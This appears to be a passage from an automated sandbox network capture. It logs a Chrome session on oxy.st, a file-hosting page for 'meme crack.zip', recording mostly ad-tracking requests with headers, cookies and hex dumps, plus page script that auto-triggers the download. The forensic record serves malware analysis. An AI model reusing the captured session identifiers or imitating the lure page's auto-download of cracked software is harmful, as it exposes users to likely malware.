2024-06-15 09:14:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49774	157.90.33.72	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:57 UTC	538	OUT	OPTIONS /sync?user_id=dNts6306JSIF1v1xnnpjsT HTTP/1.1 Host: uidsync.net Connection: keep-alive Cache-Control: max-age=0 Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://oxy.st User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:57 UTC	742	IN	HTTP/1.1 204 No Content Server: Angie Date: Sat, 15 Jun 2024 09:14:57 GMT Connection: close Access-Control-Allow-Origin: https://oxy.st Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49776	68.232.35.16	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:57 UTC	586	OUT	GET /diff/js/modules/topicsFrameLogic.js HTTP/1.1 Host: ced-ns.sascdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ced-ns.sascdn.com/diff/js/assets/topics_frame.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:57 UTC	350	IN	HTTP/1.1 200 OK Age: 3164 Cache-Control: max-age=86400 Content-Type: application/x-javascript Date: Sat, 15 Jun 2024 09:14:57 GMT Etag: "d2f3e245321ecd69015a30565ed8535a:1715760824.484742+ident" Last-Modified: Wed, 15 May 2024 08:11:55 GMT Server: ECS (lhd/35AB) Vary: Accept-Encoding X-Cache: HIT Content-Length: 950 Connection: close
2024-06-15 09:14:57 UTC	950	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 7b 37 34 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 6f 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 77 61 69 74 65 72 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 6f 2c 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 6f 7c 7c 28 6f 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 69 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 74 72 79 7b 75 28 65 2e 6e 65 78 74 28 74 29 29 7d 63 61 74 63 68 28 74 29 7b 63 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 74 72 79 7b 75 28 65 2e 74 68 72 6f 77 28 74 29 29 7d 63 61 74 63 68 28 74 29 7b 63 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 74 29 7b 76 61 72 20 6e 3b 74 2e 64 6f 6e 65 3f 69 28 74 2e 76 61 6c 75 Data Ascii: (()=>{"use strict";({744:function(t,n){var o=this&&this.__awaiter\|\|function(t,n,o,e){return new(o\|\|(o=Promise))((function(i,c){function r(t){try{u(e.next(t))}catch(t){c(t)}}function s(t){try{u(e.throw(t))}catch(t){c(t)}}function u(t){var n;t.done?i(t.valu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49780	3.33.220.150	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:57 UTC	425	OUT	GET /track/rid?ttd_pid=0fkciot&fmt=json HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b
2024-06-15 09:14:58 UTC	354	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:57 GMT Content-Type: application/json Content-Length: 108 Connection: close server: Kestrel cache-control: private expires: Mon, 15 Jul 2024 09:14:57 GMT set-cookie: TDID=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b; expires=Sun, 15 Jun 2025 09:14:57 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-06-15 09:14:58 UTC	108	IN	Data Raw: 7b 22 54 44 49 44 22 3a 22 37 61 39 34 32 37 64 37 2d 35 35 36 37 2d 34 62 31 33 2d 61 64 37 38 2d 65 35 33 61 61 35 62 63 38 61 30 62 22 2c 22 54 44 49 44 5f 4c 4f 4f 4b 55 50 22 3a 22 54 52 55 45 22 2c 22 54 44 49 44 5f 43 52 45 41 54 45 44 5f 41 54 22 3a 22 32 30 32 34 2d 30 35 2d 31 35 54 30 39 3a 31 34 3a 35 37 22 7d Data Ascii: {"TDID":"7a9427d7-5567-4b13-ad78-e53aa5bc8a0b","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-05-15T09:14:57"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49778	78.140.242.74	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:57 UTC	502	OUT	GET /vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Foxy.st%2Fd%2FSmUh&top=&pt=inread&_ts=1718442894727 HTTP/1.1 Host: ads.adlook.me Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7
2024-06-15 09:14:58 UTC	297	IN	HTTP/1.1 200 OK Content-Length: 2 Content-Type: application/json Server: Microsoft-IIS/10.0 Set-Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7; expires=Sat, 14 Jun 2025 21:00:00 GMT; path=/; SameSite=None; secure; samesite=none Date: Sat, 15 Jun 2024 09:14:57 GMT Connection: close
2024-06-15 09:14:58 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49782	88.212.201.198	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	533	OUT	GET /hit?q;t52.6;r;s1280102424;uhttps%3A//oxy.st/d/SmUh;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.3200445255072193 HTTP/1.1 Host: counter.yadro.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FTID=1cRLkF03JRep1cRLkF0012aS; VID=3Avj3L2_2d8p1cRLkH001V8p
2024-06-15 09:14:58 UTC	459	IN	HTTP/1.1 200 OK Server: nginx/1.17.9 Date: Sat, 15 Jun 2024 09:14:58 GMT Content-Type: image/gif Content-Length: 420 Connection: close Expires: Thu, 15 Jun 2023 21:00:00 GMT Pragma: no-cache Cache-control: no-cache P3P: policyref="/w3c/p3p.xml", CP="UNI" Set-Cookie: FTID=0; path=/; expires=Sat, 01 Jan 2000 00:00:00 GMT; HttpOnly; Secure; SameSite=None; domain=.yadro.ru Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=86400
2024-06-15 09:14:58 UTC	420	IN	Data Raw: 47 49 46 38 37 61 58 00 1f 00 b3 00 00 00 00 00 66 66 66 e0 e0 e0 ff ff ff 99 00 00 00 00 99 99 33 00 00 66 00 ff aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 00 00 00 00 58 00 1f 00 00 04 fe 10 c8 49 ab bd 38 eb cd 37 fa 60 28 8e 64 69 9e 68 5a 4a 6a eb be 30 ca c6 b4 09 80 37 92 eb 61 f5 f9 3a 4a 6f 57 2b e2 8e bc df 6a 94 db 11 67 c6 28 10 88 9b fc 84 41 6b 35 ca ed 31 97 49 f0 b5 4b 26 2a ab da 29 76 4c 6e bb 87 5d ce bb 36 eb 64 02 00 81 7e cf 07 e0 ed 80 81 6c 13 03 03 81 7e 79 04 04 7c 7b 88 1a 85 87 8f 86 69 4d 12 90 90 1d 78 02 8a 8c 7a 8e 98 15 a0 91 16 a2 83 96 93 80 9a 8a 05 05 7a 06 06 02 8e 19 a2 a3 14 a5 41 57 00 97 86 bb ba 85 98 aa 04 ac ae b0 9f bc bf c7 bb bf be cb c8 c9 ca 93 a6 be d3 bd bd 88 9b c2 05 07 07 Data Ascii: GIF87aXfff3f,XI87`(dihZJj07a:JoW+jg(Ak51IK&*)vLn]6d~l~y\|{iMxzzAW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49757	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	806	OUT	GET /d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:59 UTC	381	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 09:14:58 GMT Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Transfer-Encoding: chunked
2024-06-15 09:14:59 UTC	16003	IN	Data Raw: 36 31 45 34 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 42 41 53 49 43 20 4d 45 54 41 2d 2d 3e 0a 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 77 69 6e 64 6f 77 2e 5f 6d 4e 48 61 6e 64 6c 65 20 3d 20 77 69 6e 64 6f 77 2e 5f 6d 4e 48 61 6e 64 6c 65 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 5f 6d 4e 48 61 6e 64 6c 65 2e 71 75 65 75 65 20 3d 20 77 69 6e 64 6f 77 2e 5f 6d 4e 48 61 6e 64 6c 65 2e 71 75 65 75 65 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 6d 65 64 69 61 6e 65 74 5f 76 65 72 73 69 6f 6e 49 64 20 3d 20 22 33 31 32 31 31 39 39 22 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 Data Ascii: 61E4<html><head> ... BASIC META--> <script type="text/javascript"> window._mNHandle = window._mNHandle \|\| {}; window._mNHandle.queue = window._mNHandle.queue \|\| []; medianet_versionId = "3121199";</script><script src="htt
2024-06-15 09:14:59 UTC	9070	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 2e 64 6f 77 6e 6c 6f 61 64 20 3d 20 22 6d 65 6d 65 20 63 72 61 63 6b 2e 7a 69 70 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 2e 63 6c 69 63 6b 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 2f 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: a.download = "meme crack.zip"; a.click(); */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49781	91.228.74.244	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	888	OUT	GET /pixel;r=1868691333;labels=Categories.technologyandcomputing;rf=0;a=p-6Fv0cGNfc_bw8;url=https%3A%2F%2Foxy.st%2Fd%2FSmUh;uht=2;fpan=1;fpa=P0-2052007182-1718442895609;pbc=;ns=0;ce=1;qjs=1;qv=b70d35e8-20231208114759;cm=;gdpr=0;ref=;d=oxy.st;dst=1;et=1718442896704;tzo=240;ogl=;ses=d168e0ce-727e-4636-bdcb-862f8bdc25b4;mdl= HTTP/1.1 Host: pixel.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:58 UTC	658	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:58 GMT Content-Type: image/gif Content-Length: 35 Connection: close Attribution-Reporting-Register-Trigger: {"event_trigger_data":[{"filters":[{"label":["K0JYi78fXq1otUId/akXtQ=="],"pcode":["p-6Fv0cGNfc_bw8"]}],"trigger_data":"1"}]} Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: mc=666d5b92-60e70-cef8b-92979; expires=Wed, 16-Jul-2025 09:14:58 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400
2024-06-15 09:14:58 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 80 ff ff ff 00 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49786	162.19.138.117	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	535	OUT	GET /lb/v1 HTTP/1.1 Host: lb.eu-1-id5-sync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:58 UTC	368	IN	HTTP/1.1 200 vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers access-control-allow-origin: https://oxy.st vary: Origin content-type: application/json;charset=UTF-8 transfer-encoding: chunked date: Sat, 15 Jun 2024 09:14:58 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:14:58 UTC	39	IN	Data Raw: 32 31 0d 0a 7b 22 6c 62 22 3a 22 46 55 39 6c 6f 57 2b 46 6e 53 70 65 38 4d 66 45 51 6a 74 41 34 67 3d 3d 22 7d 0d 0a Data Ascii: 21{"lb":"FU9loW+FnSpe8MfEQjtA4g=="}
2024-06-15 09:14:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49785	162.19.138.116	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	528	OUT	GET /bounce HTTP/1.1 Host: id5-sync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:58 UTC	579	IN	HTTP/1.1 200 OK date: Sat, 15 Jun 2024 09:14:58 GMT vary: Accept-Encoding access-control-allow-origin: https://oxy.st vary: Origin access-control-allow-credentials: true p3p: CP="CAO PSA OUR" set-cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#1; Path=/; Domain=id5-sync.com; Expires=Fri, 13 Sep 2024 09:14:58 GMT; Max-Age=7776000; SameSite=None; Secure expires: Thu, 01 Jan 1970 00:00:00 GMT content-type: text/plain;charset=utf-8 transfer-encoding: chunked strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:14:58 UTC	35	IN	Data Raw: 31 44 0d 0a 7b 22 62 6f 75 6e 63 65 22 3a 7b 22 73 65 74 43 6f 6f 6b 69 65 22 3a 74 72 75 65 7d 7d 0d 0a Data Ascii: 1D{"bounce":{"setCookie":true}}
2024-06-15 09:14:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49783	99.81.158.184	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	737	OUT	POST /fire.js?pid=12771&url=https%3A%2F%2Foxy.st%2Fd%2FSmUh&hn_ver=76&fid=ed1cb979-77d8-4804-b8d9-49acdb18efcc&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1 Host: s.cpx.to Connection: keep-alive Content-Length: 147 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:58 UTC	147	OUT	Data Raw: 7b 22 70 61 67 65 4d 65 74 61 22 3a 7b 22 74 69 74 6c 65 22 3a 22 44 6f 77 6e 6c 6f 61 64 20 66 69 6c 65 20 6d 65 6d 65 20 63 72 61 63 6b 2e 7a 69 70 20 6f 6e 20 4f 78 79 2e 43 6c 6f 75 64 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 6f 77 6e 6c 6f 61 64 20 66 69 6c 65 20 6d 65 6d 65 20 63 72 61 63 6b 2e 7a 69 70 20 6f 6e 20 4f 78 79 2e 43 6c 6f 75 64 20 66 6f 72 20 66 72 65 65 20 61 74 20 68 69 67 68 20 73 70 65 65 64 22 7d 7d Data Ascii: {"pageMeta":{"title":"Download file meme crack.zip on Oxy.Cloud","description":"Download file meme crack.zip on Oxy.Cloud for free at high speed"}}
2024-06-15 09:14:58 UTC	257	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:58 GMT Content-Length: 64 Connection: close Expires: Sat, 15 Jun 2024 09:14:58 GMT Vary: Origin Access-Control-Allow-Origin: https://oxy.st Access-Control-Allow-Credentials: true P3P: CP="NOI DEV ADM"
2024-06-15 09:14:58 UTC	64	IN	Data Raw: 72 75 62 69 63 6f 6e 2c 69 64 35 2c 64 62 6d 2c 4f 50 45 4e 58 2c 61 70 70 5f 6e 65 78 75 73 2c 70 75 62 6d 61 74 69 63 2c 66 69 72 73 74 49 64 2c 70 75 62 5f 63 6f 6d 6d 6f 6e 2c 75 69 64 32 Data Ascii: rubicon,id5,dbm,OPENX,app_nexus,pubmatic,firstId,pub_common,uid2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49784	185.89.210.212	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	343	OUT	GET /getuidj HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:58 UTC	954	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 15 Jun 2024 09:14:58 GMT Content-Type: application/json; charset=utf-8 Content-Length: 11 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 6f950088-53f1-4c80-91c9-d1df75502145 Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 03-Jun-2034 09:14:58 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 173.254.250.90; 173.254.250.90; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-06-15 09:14:58 UTC	11	IN	Data Raw: 7b 22 75 69 64 22 3a 22 30 22 7d Data Ascii: {"uid":"0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49787	157.90.33.72	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	614	OUT	GET /sync?user_id=dNts6306JSIF1v1xnnpjsT HTTP/1.1 Host: uidsync.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:59 UTC	913	IN	HTTP/1.1 200 OK Server: Angie Date: Sat, 15 Jun 2024 09:14:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 62 Connection: close Access-Control-Allow-Origin: https://oxy.st Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64 Set-Cookie: rauid=dNts6306JSIF1v1xnnpjsT; expires=Sun, 15 Jun 2025 09:14:59 GMT; path=/; secure; SameSite=None
2024-06-15 09:14:59 UTC	62	IN	Data Raw: 7b 22 75 73 65 72 5f 69 64 22 3a 22 64 4e 74 73 36 33 30 36 4a 53 49 46 31 76 31 78 6e 6e 70 6a 73 54 22 2c 22 73 6b 69 70 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 7d Data Ascii: {"user_id":"dNts6306JSIF1v1xnnpjsT","skip_subscription":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49789	88.208.46.222	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:58 UTC	692	OUT	GET /sm/stat?landID=40&nameBlock=sl0&uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=70&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1 Host: ogffa.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:59 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range Access-Control-Expose-Headers: Content-Length,Content-Range
2024-06-15 09:14:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

